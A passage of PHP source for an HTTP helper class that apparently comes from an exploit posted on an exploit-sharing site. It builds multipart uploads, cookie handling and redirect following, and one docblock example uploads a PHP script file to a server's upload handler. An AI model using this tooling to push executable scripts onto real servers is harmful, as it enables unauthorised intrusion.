This function sends the formed http * packet with the POST method using * the multipart/form-data enctype. * * @access public * @param array array FormDataArray * @return string $this->sock() * @example $formdata = array( * frmdt_url => 'http://localhost/upload.php', * frmdt_boundary => '123456', # Optional * 'var' => 'example', * 'file' => array( * frmdt_type => 'image/gif', # Optional * frmdt_transfert => 'binary' # Optional * frmdt_filename => 'hello.php, * frmdt_content => '<?php echo 1; ?>')); * $this->formdata($formdata); * */ function formdata($array) { $this->target($array[frmdt_url]); $this->method = 'formdata'; $this->data = ''; if(!isset($array[frmdt_boundary])) $this->boundary = 'phpsploit'; else $this->boundary = $array[frmdt_boundary]; foreach($array as $key => $value) { if(!preg_match('#^frmdt_(boundary|url)#',$key)) { $this->data .= str_repeat('-',29).$this->boundary."\r\n"; $this->data .= 'Content-Disposition: form-data; name="'.$key.'";'; if(!is_array($value)) { $this->data .= "\r\n\r\n".$value."\r\n"; } else { $this->data .= ' filename="'.$array[$key][frmdt_filename]."\";\r\n"; if(isset($array[$key][frmdt_type])) $this->data .= 'Content-Type: '.$array[$key][frmdt_type]."\r\n"; if(isset($array[$key][frmdt_transfert])) $this->data .= 'Content-Transfer-Encoding: '.$array[$key][frmdt_transfert]."\r\n"; $this->data .= "\r\n".$array[$key][frmdt_content]."\r\n"; } } } $this->data .= str_repeat('-',29).$this->boundary."--\r\n"; return $this->sock(); } /** * This function returns the content * of the server response, without * the headers. * * @access public * @param string code ServerResponse * @return string $this->server_content * @example $this->getcontent() * @example $this->getcontent($this->get('http://localhost/')) * */ function getcontent($code='') { if(empty($code)) $code = $this->recv; $code = explode("\r\n\r\n",$code); $this->server_content = ''; for($i=1;$i<count($code);$i++) $this->server_content .= $code[$i]; return $this->server_content; } /** * This function returns the headers * of the server response, without * the content. * * @access public * @param string code ServerResponse * @return string $this->server_header * @example $this->getcontent() * @example $this->getcontent($this->post('http://localhost/','1=2')) * */ function getheader($code='') { if(empty($code)) $code = $this->recv; $code = explode("\r\n\r\n",$code); $this->server_header = $code[0]; return $this->server_header; } /** * This function is called by the * cookiejar() function. It adds the * value of the "Set-Cookie" header * in the "Cookie" header for the * next request. You don't have to * call it. * * @access private * @param string code ServerResponse * */ function getcookie() { foreach(explode("\r\n",$this->getheader()) as $header) { if(preg_match('/set-cookie/i',$header)) { $fequal = strpos($header,'='); $fvirgu = strpos($header,';'); // 12=strlen('set-cookie: ') $cname = substr($header,12,$fequal-12); $cvalu = substr($header,$fequal+1,$fvirgu-(strlen($cname)+12+1)); $this->cookie[trim($cname)] = trim($cvalu); } } } /** * This function is called by the * get()/post() functions. You * don't have to call it. * * @access private * @param string urltarg Url * @example $this->target('http://localhost/') * */ function target($urltarg) { if(!ereg('^http://',$urltarg)) $urltarg = 'http://'.$urltarg; $urlarr = parse_url($urltarg); $this->url = 'http://'.$urlarr['host'].$urlarr['path']; if(isset($urlarr['query'])) $this->url .= '?'.$urlarr['query']; $this->port = !empty($urlarr['port']) ? $urlarr['port'] : 80; $this->host = $urlarr['host']; if($this->port != '80') $this->host .= ':'.$this->port; if(!isset($urlarr['path']) or empty($urlarr['path'])) die("Error: No path precised"); $this->path = substr($urlarr['path'],0,strrpos($urlarr['path'],'/')+1); if($this->port > 65535) die("Error: Invalid port number"); } /** * If you call this function, * the script will extract all * 'Set-Cookie' headers values * and it will automatically add * them into the 'Cookie' header * for all next requests. * * @access public * @param integer code 1(enabled) 0(disabled) * @example $this->cookiejar(0) * @example $this->cookiejar(1) * */ function cookiejar($code) { if($code=='0') $this->cookiejar=FALSE; elseif($code=='1') $this->cookiejar=TRUE; } /** * If you call this function, * the script will follow all * redirections sent by the server. * * @access public * @param integer code 1(enabled) 0(disabled) * @example $this->allowredirection(0) * @example $this->allowredirection(1) * */ function allowredirection($code) { if($code=='0') $this->allowredirection=FALSE; elseif($code=='1') $this->allowredirection=TRUE; } /** * This function is called if * allowredirection() is enabled. * You don't have to call it. * * @access private * @return string $this->get('http://'.$this->host.$this->path.$this->last_redirection) * @return string $this->get($this->last_redirection) * @return string $this->recv; * */ function getredirection() { if(preg_match('/(location|content-location|uri): (.*)/i',$this->getheader(),$codearr)) { $this->last_redirection = trim($codearr[2]); if(!ereg('://',$this->last_redirection)) return $this->get('http://'.$this->host.$this->path.$this->last_redirection); else return $this->get($this->last_redirection); } else return $this->recv; } /** * This function allows you * to reset some parameters. * * @access public * @param string func Param * @example $this->reset('header') * @example $this->reset('cookie') * @example $this->reset() * */ function reset($func='') { switch($func) { case 'header': $this->header = array(); break; case 'cookie': $this->cookie = array(); break; default: $this->cookiejar = ''; $this->header = array(); $this->cookie = array(); $this->allowredirection = ''; break; } } } ?> # 0day.today [2024-10-06] #